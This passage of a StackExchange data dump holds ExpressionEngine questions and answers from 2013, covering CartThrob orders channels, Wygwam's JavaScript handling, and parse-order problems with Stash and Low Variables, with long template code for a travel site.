format=&quot;%Y-%m-%dT%H:%iZ&quot;}&quot;&amp;gt;{event_start_date format=&quot;%j&amp;lt;sup&amp;gt;%S&amp;lt;/sup&amp;gt; %F %Y &amp;lt;i&amp;gt;at&amp;lt;/i&amp;gt; %g:%i%a&quot;}&amp;lt;/time&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;{event_summary}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p class=&quot;more&quot;&amp;gt;&amp;lt;a href=&quot;{path='events/event'}/{if edited_occurrence}{event_parent_id}{if:else}{event_id}{/if}/{event_start_date format=&quot;%Y/%m/%d&quot;}&quot;&amp;gt;See event details&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/li&amp;gt;{/exp:calendar:cal}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;!-- End Entry Listing --&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, on my Organisations page, it's showing a list of upcoming occurrences from any and all related events, in chronological order, within the limits I've set.&lt;/p&gt;&#xA;" OwnerUserId="393" LastEditorUserId="393" LastEditDate="2013-07-28T20:03:31.437" LastActivityDate="2013-07-28T20:03:31.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12316" PostTypeId="2" ParentId="12293" CreationDate="2013-07-28T22:34:35.470" Score="1" Body="&lt;p&gt;Try this guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bluefishdesignstudio.com/blog/article/breaking-up-a-matrix-field-for-use-in-a-safecracker-form&quot; rel=&quot;nofollow&quot;&gt;http://bluefishdesignstudio.com/blog/article/breaking-up-a-matrix-field-for-use-in-a-safecracker-form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you'll need to do two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Manually create your inputs and name them appropriately (something like &lt;code&gt;your_file_field_name[row_new_0][col_id_61]&lt;/code&gt; and &lt;code&gt;description[row_new_0][col_id_62]&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write your own JavaScript logic to add and remove matrix rows and increment the numbers on your input names.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-07-28T22:34:35.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12318" PostTypeId="1" AcceptedAnswerId="12323" CreationDate="2013-07-28T23:08:55.753" Score="1" ViewCount="129" Body="&lt;p&gt;My client is selling two types of tickets - one is really a voucher that has separate fields for the voucher holder and voucher payer and another is a general ticket. Both are really the email notification that is redeemed at the door. I’ve set up the voucher orders channel and had the shipping information actually be the voucher holder information. Now I want to set up the tickets orders which won’t have any shipping information. After these two, we’re going to set up physical products, such as T-shirts with different colors and sizes, to sell as well which will require separate billing and shipping information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, we’re selling widely different products with different characteristics. Each type of product - tickets, vouchers, physical products will be sold separately - the customer can not buy all three in one order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would seem logical to have separate orders channels - one for each type. Is this possible in CartThrob?  I can see that it’s possible to add additional products channels but I haven’t found any way to set up corresponding orders channels. Do I have to combine them all into one large orders channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JP&lt;/p&gt;&#xA;" OwnerUserId="997" LastEditorUserId="268" LastEditDate="2013-07-30T10:16:00.620" LastActivityDate="2013-07-30T10:16:00.620" Title="CartThrob - Is it possible to have more than one orders channel?" Tags="|add-on|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12319" PostTypeId="1" CreationDate="2013-07-28T23:58:29.930" Score="0" ViewCount="46" Body="&lt;p&gt;i want to find a solution to change the default_country of the store for guest members on the checkout page with ajax. I did an ajax submit to update the choosen country but in guest mode this happened only ones and i didn't know why. When i'm logged in as store member it work like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter&lt;/p&gt;&#xA;" OwnerUserId="768" LastActivityDate="2013-11-01T22:42:15.597" Title="Change default_country with ajax as guest?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12320" PostTypeId="1" AcceptedAnswerId="12407" CreationDate="2013-07-29T04:57:28.873" Score="0" ViewCount="115" Body="&lt;p&gt;I have a client who uses a lot of embedded Wufoo forms in EE entries. Previously, this was no problem in Wygwam--just switch to Source mode and paste in the JavaScript from Wufoo!--but since upgrading Wygwam to 3.0.2, this client has noticed that this no longer works. Now whenever JavaScript is pasted into the Source, it seems to be getting stripped out upon submission. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to work around this? &lt;/p&gt;&#xA;" OwnerUserId="1109" LastEditorUserId="146" LastEditDate="2013-07-29T19:06:10.817" LastActivityDate="2013-08-01T00:05:05.177" Title="Does Wygwam 3.0.2 strip out JavaScript in Source mode?" Tags="|pixelandtonic|wygwam|javascript|wysiwyg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12322" PostTypeId="1" AcceptedAnswerId="12324" CreationDate="2013-07-29T09:50:56.497" Score="0" ViewCount="344" Body="&lt;p&gt;I’m curious about a parse order issue I’m running into with Low Variables and Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client site that’s using Switchee, Stash, Low Variables and Playa. I am able to retrieve the custom fields just fine inside of the tag, but for whatever reason, I am unable to retrieve the url_title. It just simply doesn’t render any value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here’s the page template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;&quot;}&#xA;        {embed=&quot;layouts/.default&quot;}&#xA;&#xA;        {exp:stash:set name='pagetitle'}Gay Blog — The New GayTravel.com!{/exp:stash:set}&#xA;        {exp:stash:set name='bodyclass'}blog index{/exp:stash:set}&#xA;&#xA;        {exp:stash:set name='maincontent' parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot; parse_conditionals=&quot;yes&quot;}&#xA;&#xA;            &amp;lt;div class=&quot;main-banner&quot;&amp;gt;&#xA;                &amp;lt;figure&amp;gt;&#xA;                    &amp;lt;figcaption&amp;gt;&#xA;                        &amp;lt;h1 class=&quot;header&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Featured Story: &amp;lt;br /&amp;gt;Gay Travel Guru’s Visit to Phuket&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;a class=&quot;read-more&quot; href=&quot;#&quot;&amp;gt;Read More »&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/figcaption&amp;gt;&#xA;                    &amp;lt;img src=&quot;http://flickholdr.iwerk.org/1280/800/gay, thailand, male&quot; alt=&quot;Placeholder image from flickholdr.com&quot; /&amp;gt;&#xA;                &amp;lt;/figure&amp;gt;&#xA;                {lv_ad_top_banner_square}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;                &amp;lt;main role=&quot;main&quot;&amp;gt;&#xA;                    &amp;lt;section class=&quot;content-block&quot;&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;Gay Blog Featured Articles&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;div class=&quot;slider-box clearfix&quot;&amp;gt;&#xA;                            {exp:low_variables:parse var=&quot;lv_blog_featured_articles&quot; limit=&quot;3&quot; var_prefix=&quot;blog&quot;}&#xA;                                &amp;lt;article class=&quot;blog-block element-block&quot;&amp;gt;&#xA;                                    &amp;lt;figure&amp;gt;&#xA;                                        &amp;lt;figcaption&amp;gt;&amp;lt;a href=&quot;{blog:url_title_path='blog'}&quot;&amp;gt;{entry_date format=&quot;%M %d, %Y&quot;}&amp;lt;/a&amp;gt;&amp;lt;/figcaption&amp;gt;&#xA;                                        {exp:ce_img:single src=&quot;{blog:blog_main_image}&quot; width=&quot;500&quot; allow_scale_larger=&quot;yes&quot; height=&quot;300&quot; attributes='alt=&quot;{blog:title}&quot;' crop=&quot;yes&quot;    }&#xA;                                    &amp;lt;/figure&amp;gt;&#xA;                                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{blog:url_title_path='blog'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                                    {blog:blog_summary}&#xA;                                &amp;lt;/article&amp;gt;&#xA;                            {/exp:low_variables:parse}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/section&amp;gt;&#xA;                    &amp;lt;section class=&quot;content-block&quot;&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;Latest Video Blog&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;article class=&quot;video-blog-block element-block&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;video-container&quot;&amp;gt;&#xA;                                &amp;lt;iframe src=&quot;http://www.youtube.com/embed/dFVxGRekRSg&quot; frameborder=&quot;0&quot; width=&quot;560&quot; height=&quot;315&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Video Blog Page Title&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Donec id elit non mi porta gravida     at eget metus.&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/article&amp;gt;&#xA;                    &amp;lt;/section&amp;gt;&#xA;                    &amp;lt;section class=&quot;content-block&quot;&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;Blog Archives&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;div class=&quot;archive-wrapper&quot;&amp;gt;&#xA;                            {exp:channel:entries&#xA;                                channel=&quot;blogs&quot;&#xA;                                disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;                                dynamic=&quot;off&quot;&#xA;                                limit=&quot;12&quot;&#xA;                            }&#xA;                                &amp;lt;article class=&quot;blog-archive element-block&quot;&amp;gt;&#xA;                                    &amp;lt;figure&amp;gt;&#xA;                                        &amp;lt;figcaption&amp;gt;&amp;lt;a href=&quot;{url_title_path='blog'}&quot;&amp;gt;{entry_date format=&quot;%M %d&quot;}&amp;lt;/a&amp;gt;&amp;lt;/figcaption&amp;gt;&#xA;                                        {exp:ce_img:single src=&quot;{blog_main_image}&quot; width=&quot;500&quot; allow_scale_larger=&quot;yes&quot; height=&quot;300&quot; attributes='alt=&quot;{title}&quot;' crop=&quot;yes&quot;}&#xA;                                    &amp;lt;/figure&amp;gt;&#xA;                                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{url_title_path='blog'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                                &amp;lt;/article&amp;gt;&#xA;                                {switch=&quot;||&amp;lt;div class='clear-left'&amp;gt;&amp;lt;/div&amp;gt;&quot;}&#xA;                            {/exp:channel:entries}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;a class=&quot;button&quot; href=&quot;#&quot;&amp;gt;View the Rest of the Archive »&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/section&amp;gt;&#xA;                &amp;lt;/main&amp;gt;&#xA;                &amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;                    {lv_sidebar_featured_members}&#xA;                    {lv_sidebar_get_the_updates}&#xA;                    {lv_ad_sidebar_tower}&#xA;                    {lv_sidebar_tweets}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:stash:set}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Low Variable Extension settings are set to parse before snippets, and my Low Variable entry has early parsing turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can see that I’ve already got parse_depth set to a level of 3, and it’s still not rendering anything. I got the solution/suggestion &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11742/playa-in-a-low-variable-and-stash&quot;&gt;from this article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned before, everything seems to work, except for the url_title, which just has a blank value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this is happening would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-07-29T10:18:06.583" Title="Switchee, Stash, Low Variables, Playa and Parse Order" Tags="|playa|stash|low-variables|parse-order|switchee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12323" PostTypeId="2" ParentId="12318" CreationDate="2013-07-29T09:58:17.330" Score="1" Body="&lt;p&gt;In short, no, you cannot to my knowledge have multiple orders channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question to you would be, &quot;why do you feel you need multiple orders channels?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All purchases through your site are orders and are irrespective of the actual items being purchased. The orders channel is a list of transactions made. Everything in that channel is an entry indicating something was purchased. The data being stored is the same for each order (no, you don't have shipping details for some items, so those fields just stay blank). The point is, it is still a record of a purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think you'd run into big problems later trying to audit orders if they were split into different channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of the real world. Would a business keep records of orders in separate systems? The only time I can think that this might be a sensible idea is if the orders were actually for separate businesses being run through the same 'front' - it would keep the accounting much simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple product channels, as you note, are supported and this does make sense since the products can be wildly different and as such require different types of data to be stored. But orders are orders so they should always be together.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-29T09:58:17.330" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12324" PostTypeId="2" ParentId="12322" CreationDate="2013-07-29T10:18:06.583" Score="1" Body="&lt;p&gt;As it turns out, this was actually an error on the part of the original data migration. I really should have checked that out first. It seems that the url_titles were never migrated, for whatever reason that could be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/a6x457jdgwzsu37/Screen%20Shot%202013-07-29%20at%203.16.36%20AM.png&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/a6x457jdgwzsu37/Screen%20Shot%202013-07-29%20at%203.16.36%20AM.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-07-29T10:18:06.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12325" PostTypeId="2" ParentId="12300" CreationDate="2013-07-29T10:56:05.097" Score="1" Body="&lt;p&gt;For me this normally happens if I forget to upload the themes directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you upgraded did you reinstall the Wygwam themes into your /themes/third-party directory?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-29T10:56:05.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12326" PostTypeId="1" CreationDate="2013-07-29T11:30:55.063" Score="2" ViewCount="592" Body="&lt;p&gt;Hrm, me again. Looks like I am having problems with Stash and Parse Order, after all, but on a different variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's my variable:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;heading&quot;&amp;gt;&amp;lt;b&amp;gt;Our Featured Members&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;sidebar-block featured-members gray-box&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;member-holder&quot;&amp;gt;&#xA;        {exp:search_fields &#xA;            search:member_profile_image=&quot;not IS_EMPTY&quot; &#xA;            operator=&quot;AND&quot; &#xA;            channel=&quot;users&quot; &#xA;            parse=&quot;inward&quot;&#xA;        }&#xA;            {exp:channel:entries channel=&quot;users&quot; entry_id=&quot;{search_results}&quot; limit=&quot;9&quot; sort=&quot;asc&quot; orderby=&quot;random&quot; dynamic=&quot;no&quot; status=&quot;not closed&quot;}&#xA;                &amp;lt;a href=&quot;{entry_id_path='meet-gay-people/profile'}&quot;&amp;gt;{exp:ce_img:single src=&quot;{member_profile_image}&quot; width=&quot;302&quot; crop=&quot;yes&quot; height=&quot;302&quot; allow_scale_larger=&quot;yes&quot; attributes='alt=&quot;{screen_name}&quot;'}&amp;lt;/a&amp;gt;&#xA;            {/exp:channel:entries}&#xA;        {/exp:search_fields}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;a class=&quot;button center&quot; href=&quot;{path='meet-gay-people'}&quot;&amp;gt;Connect with other travelers today!&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And here’s my template partial:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;    {case default=&quot;yes&quot;}&#xA;        {embed=&quot;layouts/.default&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;blogs&quot;&#xA;            disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;            require_entry=&quot;yes&quot;&#xA;        }&#xA;            {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;            {exp:stash:set name='pagetitle'}{title} — Gay Blog — The New GayTravel.com!{/exp:stash:set}&#xA;            {exp:stash:set name='bodyclass'}blog detail{/exp:stash:set}&#xA;&#xA;            {exp:stash:set name='maincontent' parse_tags=&quot;yes&quot; parse_depth=&quot;4&quot; output=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;                &amp;lt;div class=&quot;main-banner&quot;&amp;gt;&#xA;                    &amp;lt;figure&amp;gt;&#xA;                        &amp;lt;figcaption&amp;gt;&#xA;                            &amp;lt;h1 class=&quot;header&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/figcaption&amp;gt;&#xA;                        &amp;lt;img src=&quot;{blog_main_image}&quot; alt=&quot;{title} Image&quot; /&amp;gt;&#xA;                    &amp;lt;/figure&amp;gt;&#xA;                    {lv_ad_tob_banner_square}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;main role=&quot;main&quot;&amp;gt;&#xA;                        &amp;lt;section class=&quot;content-block interior-page&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;byline&quot;&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;POSTED BY &amp;lt;a href=&quot;#&quot;&amp;gt;{author}&amp;lt;/a&amp;gt; ON {entry_date format=&quot;%M %d, %Y&quot;}&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;addthis&quot;&amp;gt;&#xA;                                &amp;lt;!-- AddThis Button BEGIN --&amp;gt;&#xA;                                &amp;lt;div class=&quot;addthis_toolbox addthis_default_style addthis_16x16_style&quot;&amp;gt;&#xA;                                &amp;lt;a class=&quot;addthis_button_facebook&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;a class=&quot;addthis_button_twitter&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;a class=&quot;addthis_button_pinterest_share&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;a class=&quot;addthis_button_google_plusone_share&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;script type=&quot;text/javascript&quot; src=&quot;//s7.addthis.com/js/300/addthis_widget.js#pubid=xa-51bf19d02f28632e&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;                                &amp;lt;!-- AddThis Button END --&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            {exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;                                {if image:count == 1}&#xA;                                    &amp;lt;div class=&quot;slideshow rslides&quot;&amp;gt;&#xA;                                {/if}&#xA;                                &amp;lt;figure&amp;gt;&#xA;                                    {if image:description}&amp;lt;figcaption&amp;gt;{image:description}&amp;lt;/figcaption&amp;gt;{/if}&#xA;                                    &amp;lt;img src=&quot;{image:url:large}&quot; alt=&quot;{title} Image&quot; /&amp;gt;&#xA;                                &amp;lt;/figure&amp;gt;&#xA;                                {if image:count == image:total}&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                {/if}&#xA;                            {/exp:channel_images:images}&#xA;                            {blog_body}&#xA;                            {exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;                            {if image:count == 1}&#xA;                                &amp;lt;div class=&quot;popup-gallery&quot;&amp;gt;&#xA;                                    &amp;lt;h4&amp;gt;Click any image below to view a larger version.&amp;lt;/h4&amp;gt;&#xA;                            {/if}&#xA;                            &amp;lt;a href=&quot;{image:url:large}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:small}&quot; width=&quot;75&quot; height=&quot;75&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            {if image:count == image:total}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            {/if}&#xA;                            {/exp:channel_images:images}&#xA;                            &amp;lt;div class=&quot;comments&quot;&amp;gt;&#xA;                                &amp;lt;div id=&quot;disqus_thread&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                                    /* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */&#xA;                                    var disqus_shortname = 'new-gaytravel'; // required: replace example with your forum shortname&#xA;&#xA;                                    /* * * DON'T EDIT BELOW THIS LINE * * */&#xA;                                    (function() {&#xA;                                        var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;&#xA;                                        dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';&#xA;                                        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);&#xA;                                    })();&#xA;                                &amp;lt;/script&amp;gt;&#xA;                                &amp;lt;noscript&amp;gt;Please enable JavaScript to view the &amp;lt;a href=&quot;http://disqus.com/?ref_noscript&quot;&amp;gt;comments powered by Disqus.&amp;lt;/a&amp;gt;&amp;lt;/noscript&amp;gt;&#xA;                                &amp;lt;a href=&quot;http://disqus.com&quot; class=&quot;dsq-brlink&quot;&amp;gt;comments powered by &amp;lt;span class=&quot;logo-disqus&quot;&amp;gt;Disqus&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/section&amp;gt;&#xA;                    &amp;lt;/main&amp;gt;&#xA;                    &amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;                        {lv_sidebar_featured_members}&#xA;                        {lv_sidebar_get_the_updates}&#xA;                        {lv_ad_sidebar_tower}&#xA;                        {lv_sidebar_tweets}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/exp:stash:set}&#xA;        {/exp:channel:entries}&#xA;    {/case} &#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Finally, I’m calling the partial from this tag:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:get name='maincontent'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And here’s the template for the page layout&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html lang=&quot;en-US&quot;&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;{exp:stash:get name='pagetitle'}&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/assets/css/screen.css&quot;&amp;gt;&#xA;        &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;        &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&amp;gt;&#xA;        &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;&#xA;        &amp;lt;!--Scripts before load--&amp;gt;&#xA;        &amp;lt;script src=&quot;http://modernizr.com/downloads/modernizr-2.5.3.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script src=&quot;//use.typekit.net/yqk6mds.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script &amp;gt;try{Typekit.load();}catch(e){}&amp;lt;/script&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/assets/css/magnific-popup.css&quot;&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/assets/css/responsiveslides.css&quot;&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body class=&quot;{exp:stash:get name='bodyclass'}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;body-wrapper&quot;&amp;gt;&#xA;            &amp;lt;header&amp;gt;&#xA;                &amp;lt;a href=&quot;/&quot; class=&quot;logo&quot;&amp;gt;GayTravel.com — Travel Guides with a Gay Perspective.&amp;lt;/a&amp;gt;&#xA;                &amp;lt;nav class=&quot;main-navigation&quot;&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a class=&quot;first&quot; href=&quot;{path='gay-friendly-hotels'}&quot;&amp;gt;Hotels&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;ul class=&quot;hotels&quot;&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;first-child&quot; href=&quot;#&quot;&amp;gt;National Chain&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Boutique&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Bed &amp;amp; Breakfast&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;last-child&quot; href=&quot;#&quot;&amp;gt;Vacation Home/Time Share&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='gay-guides'}&quot;&amp;gt;Destinations&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;ul class=&quot;destinations&quot;&amp;gt;&#xA;                                {exp:low_variables:parse var=&quot;lv_gc_destination_subnav&quot; limit=&quot;6&quot;}&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;{if count == '1'}first-child {/if}{if count == total_results}last-child{/if}&quot; href=&quot;{url_title_path='gay-guides'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                {/exp:low_variables:parse}&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='gay-friendly-tours-cruises'}&quot;&amp;gt;Tours &amp;amp; Cruises&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;ul class=&quot;tours-cruises&quot;&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;first-child&quot; href=&quot;{path='gay-friendly-tours'}&quot;&amp;gt;Tours&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;last-child&quot; href=&quot;{path='gay-friendly-cruises'}&quot;&amp;gt;Cruises&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='gay-events'}&quot;&amp;gt;Events&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='top-tens'}&quot;&amp;gt;Top 